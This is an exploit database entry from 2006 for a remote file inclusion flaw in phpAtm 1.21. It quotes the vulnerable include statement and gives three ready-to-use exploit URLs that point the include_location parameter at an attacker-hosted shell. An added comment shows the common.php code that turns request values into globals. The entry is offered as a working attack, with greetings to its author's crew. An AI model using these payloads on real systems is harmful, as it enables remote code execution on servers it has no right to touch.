phpAtm 1.21 - 'include_location' Remote File Inclusion

Author: KinSize
type: webapps
platform: php
port: 
date_added: 2006-08-29 
date_updated:  
verified: 1 
codes: OSVDB-32005;CVE-2006-4749;OSVDB-32004;OSVDB-32003;CVE-2006-4594;OSVDB-32002;OSVDB-32001;OSVDB-32000;OSVDB-31999;OSVDB-31998;OSVDB-31997;OSVDB-31996;OSVDB-31995;OSVDB-31994;OSVDB-31976;OSVDB-31975 
tags: 
aliases:  
screenshot_url:  
application_url: 

########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#
#   Level : Dangerous
#   Download  : http://phpatm.free.fr/
#   Version : v1.21
#
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30]